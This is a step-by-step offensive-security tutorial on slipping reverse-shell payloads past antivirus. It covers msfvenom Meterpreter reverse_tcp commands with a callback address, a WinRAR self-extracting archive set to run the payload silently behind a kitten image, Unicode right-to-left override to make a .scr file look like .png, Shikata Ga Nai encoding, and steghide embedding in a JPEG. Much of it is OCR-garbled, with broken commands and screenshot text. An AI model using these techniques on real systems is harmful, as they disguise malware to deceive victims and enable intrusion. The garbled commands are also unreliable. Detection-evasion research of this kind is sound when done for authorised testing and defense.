APPLIED STEGANOGRAPHY

The Legal Disclaimer

Before we dive in, let's be clear: Everything in this article is for educational purposes only.
These techniques should only be used in authorized penetration tests, CTF competitions, or lab
environments where you have explicit permission.

Using these methods against systems you don't own or don't have authorization to test is illegal.

Picture this: You've crafted the perfect payload. It's a beautiful reverse shell, ready to give you
access to your target system. But there's one problem every antivirus on the planet recognizes it
instantly. You have to find a way to evade from these detection systems in order to create
something that really works.

What if I told you that with a few simple tricks, you could get that same payload past almost
every single one of those engines? Not by exploiting some zero-day vulnerability or writing
complex polymorphic code, but by simply hiding it inside a cat picture?

In this article, I'm going to walk you through three practical techniques I've tested for hiding
payloads from antivirus detection.

Why Should You Care?

If you're a pentester, red teamer, or just someone learning offensive security, you know the
frustration: You've compromised a system, but your C2 agent gets deleted within seconds. Or
your phishing payload gets caught before it even executes. Or your custom tool that took hours
to write gets flagged instantly.

Steganography isn't about making malware "undetectable forever which is not realistic. But it's
about buying yourself time, bypassing initial defenses, and understanding how detection works
so you can work around it.

And if you're on the blue team? Understanding these techniques is crucial. You can't defend
against what you don't understand.

All tests were conducted in a controlled lab environment:
e Attacker Machine: Kali Linux (latest)
o Target Machine: Windows 10 / Ubuntu 20.04

¢ Detection Platform: VirusTotal — Metadefender



Lets start with windows payload.

1) Create our payload with msfvenom

f ) windows/meterpreter/reverse_tcp LHOST=10.0.2.8 LPORT=4444 —f ylatform windows x86 WOowWo . exe
No encoder specified, outputting raw payload

Payload size: 354 bytes

Final size of exe file: 73802 bytes

Saved as: wowo.exe

2) Uploading the plain payload to Metadefender for detection analysis. This will show us how
many antivirus engines recognize our unobfuscated payload.
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Threats Detected ENGINES

Engine Name Verdict Last engine update
AhnLab Trojan/Win32.Shell

Avira TR/Patched Gen2

Bitdefender Trojan.CryptZ. Marte.1.Gen

Clamav Win.Trojan Swrort-5710536-0

Xeitium TrojWare.Win32.Rozena. A

3) Now lets obsfucate it in our windows system with some basic operations.

1- Starting the SFX archive creation process. We select both our payload executable and a
legitimate image file, then access WinRAR's archive options.

| cute-kitty-1 JPG File

(5] wowo 21/11/2025 19:27 Application
£ Scan with Microsoft Defender...
@ Share

Give accessto >
P Addto archive..
P8 Add to "wowwo.rar’
m Comprese and email..

B Comprezsto "wowwo.rar” and email
Send to >
Cut
Copy

Create shortcut
Delete

Rename

Properties




2-Enabling the 'Create SFX archive' option. Self-extracting archives allow automatic execution
upon opening, which we'll use to deliver our payload.

P8 Archive name ankparameters 7 =

General Advanced Options  Files Backup Time Comment

Archive name Browse. ..
WOWo.eXe o
Default Profile Update mode
Profiles... Add and replace files ~
Archive format Archiving options
®RAR [@F ] [ pelete files after archiving
Create SFX archive
Compression method [Jcreate solid archive
Mormal il [ add recovery record
Dictionary size [ Test archived files

O
Split to volumes, size

Cancel Help

3- Accessing the SFX options from the Advanced tab. Here we configure the self-extracting
behavior and stealth settings.

% Archive name and parameters 7 x
General Advanced Options Files Backup Time Comment e
MTFS options Recovery record
[Jsave file security 3=
[Jsave file streams
[ store symbolic links as links b7 KB
i i K
[Jstore hard links as links CrmrETTL 3 KB
Volumes
SFX oplions...
Pause after each volume
0= When done
Keep PC running -

System
[]Background archiving
[Jwvait if other WinRAR copies are active

Cance Helo




4- Configuring the execution order in the Setup tab. We set the image to open first, followed by

the payload. This maintains the illusion of a harmless image file.

Advanced SFX options ? >
General Setup program
Run after extraction
Modes cute-kitty-1.jpg
Advanced wowo.exe|
Update
Text
Lego and icon Run before extraction
License
Meodule

[ wait and return exit code

o exit code adjuskment
Cancel Help

5- Setting the Modes tab to ‘Unpack to temporary folder’ and ‘Hide all’. These settings ensure

o
T

3 Quick access
I Desktop
* Downloads
|E:'] Documents
&=/ Pictures

J': Music

m Videos

@ OneDrive
[ This PC

|_j Metwark

the extraction process is completely invisible for the victim.

Share Wiew L

Adwvanced 5FX options
» WOWWO

General Tempaorary mode
Name Setup Unpack to temporary folder
8 cute-kitty-1 Optional question
E Advanced
(5] wowo |
- Update ——
Text Question title
“ Logo and icon
- License [CJRestrict folder access
Module

Silent mode

() Display all
(C) Hide start dialog

Cancel

Help

7 KB
f3 KB




6- Select a custom icon that resembles an image file. This visual disguise is important.

Advané@ SFX options 7 =
General Load SFX logo from the file
Setup | | Browse. ..
Modes High resoluton SFX logo
Schranced | | Browse. ..
Update Load S5FX icon from the file
Text | CriUusersidenemeDownloadsyoute kitty-1.ico | E Browse. .. i
Licenss
Plodule

Ok Cancel Help

7-Setting the Update tab to ‘Overwrite all files’mode. This prevents any dialog boxes that might
alert during the execution.

Adwvanced 5FX options

General Update mode ~ @
Setup (®) Extract and replace files
:ﬂdodes B} () Extract and update files
vance () Ereshen existing files only
Text i7 KB
1 i Ovwerwrite mode -
ngo and icon 2 KB
License () Ask before overwrite
Module

=i

() skip existing files

Cancel Help

8- Naming the archive file. At this stage, it still has the .exe extension, which we’ll disguise
using the Unicode RLO technique in the next steps.



E® Archive name and parameters 7 =

General advanced Options Files Backup Time Comment
Archive name Browse...
Cute-kitty.exe P
Default Profile Update mode
Profiles... Add and replace files ~
Archive format Archiving options
@) RAR O zip [Joelete files after archiving
[] Create SFX archive
Compression method [l create solid archive
Mormal ~ [Jadd recovery record
Dictionary size [1Test archived files
| 32 — | ME [JLock archive
Split to wolumes, size
| e | MB Set password.. .
Cancel el

9- The archive has been created successfully. The file appears with our chosen icon

Cute-kitty.exe Cute-kitby.scr

10- Applying the Unicode Right-to-Left Override (RLO) trick. We add the reverse of our desire
extension, then insert the RLO character to make .scr’ appear as “.png’.

Manage WOWWO — O >
ire WView App Tools 0
T - & - Gearch | LRM Left-to-right mark
RLM Right-to-left mark
W) Zero width joiner
W Zero width non-joiner
- » - LRE Start of left-to-right embedding
- .‘i RLE Start of right-to-left emmbedding
o . ; ! L LRO Start of left-to-right override
ww* M Undo RLCy Start of right-to-left override
Cut PDF Pop directional fermatting
T MADS Maticonal digit shapes substitution
Pacte MNODS Mominal (Eurcpean) digit shapes
Delete ASS Activate symmetric swapping
IS5 Inhibit syrmmetric swapping
sEEEradl AAFS Activate Arabic form shaping
Right to left Reading order IAFS Inhibit Arabic form shaping
Show Unicode control characters RS Record Separator (Block separator)
Insert Unicode control character > s Unit Separator (Segment separator)
Open IME

Reconwversion

12- After applying the RLO, the file displays with ‘.png’ extension but Windows recognizes it as
a Screen Saver (.scr) file.



Search wow| o Cute-kityseitreporP res.png

‘ i General  Securty Details Previous Versions

' | ".‘i |Cl_rte-k'rt:.rrcs.png
L

Cute- kityrcs.png

Type of file: Screen saver (.scr)

Descrption: Cutekityrcs png

Location: CUsersdenemetDesktop wowwo
Size: 1.06 MB (1,121,327 bytes)
Size on disk:  1.07 MB (1,122,304 bytes)

Created: 21 November 2025, 159:54:01
Modified: 21 November 2025, 15:54:01
Accessed: 21 November 2025, 20:18:31

Attributes: [ Readwonly [ Hidden

Cancel

4) And the final detection result shows a dramatic reduction in detection rate compared to our
plain payload.
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Threats Detected_ R

Note: While Unicode RLO-based extension spoofing is still technically effective, modern email
gateways and EDR solutions often flag such files as high-risk, making this technique most viable
only in low-maturity or legacy environments.

We've successfully demonstrated how Windows payloads can evade detection using SFX
archives and extension spoofing. Now let's shift our focus to Linux payloads, where we'll explore



two different approaches. First, we'll use Metasploit's built-in polymorphic encoder to scramble
our payload's signature. Then, we'll take things further with true steganography ‘literally hiding
our executable inside an image file’.

1) Lets create our Linux payload with msfvenom

O , linu /mete /T tcp LHOST=1@ 2 Lahy —f elf
f f inux from the payloa

2) ) Uploading the plain Linux payload to VirusTotal. The baseline detection shows how many
antivirus engines recognize the unencoded Meterpreter payload. Detection rate: 40/65

C Reanalyze = Similar~  More v

9bd6351a8240) ’ La s Dal (“}q

ELF

elf detect-debug-environment

DETECTION DETAILS RELATIONS BEHAVIOR COMMUNITY 1

3) Applying Shikata Ga Nai encoder with 10 iterations. To create a polymorphic payload that
generates a unique signature with each encoding

e = ===y

4) Detection results after Shikata Ga Nai encoding. The polymorphic encoder reduced detection
from 40/65 to 26/63 engines. While effective, since Shikata Ga Nai is a very old method most
engines still detect the encoded payload.



Note: Today, Shikata Ga Nai should be considered a baseline obfuscation technique, not a
standalone evasion method.

C Reanalyze = Similar~  More v

d3d1dd1d93d0ed99afsfde6s i Last Ar s Da {}q

477TB 1 minute ago ELF

DETECTION DETAILS BEHAVIOR (U COMMUNITY

5) Installing Steghide on Kali Linux. This steganography tool will allow us to embed our payload
inside an image file using LSB (Least Significant Bit) substitution.

)} — o~

- do install steghide

Installing:

6) Embedding the payload into a JPEG image using Steghide. We specify the cover file (innocent
image), the file to embed (our payload), and set a password for extraction. The process completes
successfully.

o - f cutie.jpg -ef enc_reverse.elf

embedding "enc_reverse.elf' in "cutie.jpg"... done

=

cutie.jpg

7) Visual comparison of original vs stego image. Both images appear identical to the human eye.
Interestingly, the stego image is actually smaller due to JPEG re-compression during
embedding—making detection even harder.



% ¥

cutie.j enc_reverse.elf kutie.j cutie.j enc_reverse.elf kutie.jp!
P9 P9 P9 P9

reverse_shell.elf reverse_shell.elf

"kutie.jpg” | 2.5 MiB (2,644,863 bytes) | JPEGimage "cutie.jpg" | 2.5 MiB (2,644,342 bytes) | JPEGimage

8) Final detection results: Uploading the stego image to VirusTotal reveals 0/60 detections.

This indicates successful evasion of static, signature-based detection mechanisms, as antivirus
engines classify the file as a legitimate JPEG image and do not inspect the embedded payload.

It 1s important to note that this does not imply evasion from behavioral analysis, sandbox
execution, or EDR solutions, which could still detect malicious activity once the payload is
extracted and executed.

cdced5e0bd9TToe85a164dc7282cfl3d8a6afec550004&2

cutie.jpg

ipeg

Conclusion
What We've Learned
We explored three practical steganography and obfuscation techniques:
Windows - SFX Archive Method:
o Combines payload with legitimate files in self-extracting archives
e Uses Unicode RLO to disguise file extensions
e Achieves evasion against static, signature-based detection mechanisms
¢ Linux - Shikata Ga Nai Encoder:

e Polymorphic encoding creates unique payload signatures



e Multiple iterations increase obfuscation effectiveness
e Reduces but doesn't eliminate detection
e Good first layer before additional hiding techniques
Linux - Steghide Image Steganography:
e Embeds payloads inside image files using LSB substitution
e Achieves evasion against static, signature-based detection mechanisms
e Requires manual extraction and execution
o Ideal for covert data transfer and payload delivery
Key Takeaways

1. Different techniques serve different purposes - SFX for execution convenience,
encoding for signature evasion, steganography for transfer stealth.

2. Detection evasion # execution evasion - These techniques bypass file scanning, but
behavioral analysis during execution is another challenge.

3. Layering increases effectiveness - Combining techniques (encode — hide — deliver)
provides defense in depth against detection.

4. Trade-offs exist - Steganography offers the best evasion but requires extraction steps.
SFX is immediately executable but less stealthy.

Defense Perspective
Understanding offensive techniques improves defensive capabilities:
o File type validation - Verify files by content, not extension
o Behavioral monitoring - Watch what files do, not just what they are
o Steganalysis tools - Detect hidden data in images
o User awareness - Train users to question unexpected files
o Sandbox analysis - Test suspicious files in isolated environments

The security community benefits when both offensive and defensive knowledge advance
together.

Remember: this knowledge is for authorized security testing and education only. Using these
methods against systems without permission is illegal and unethical.

Stay curious. Stay ethical



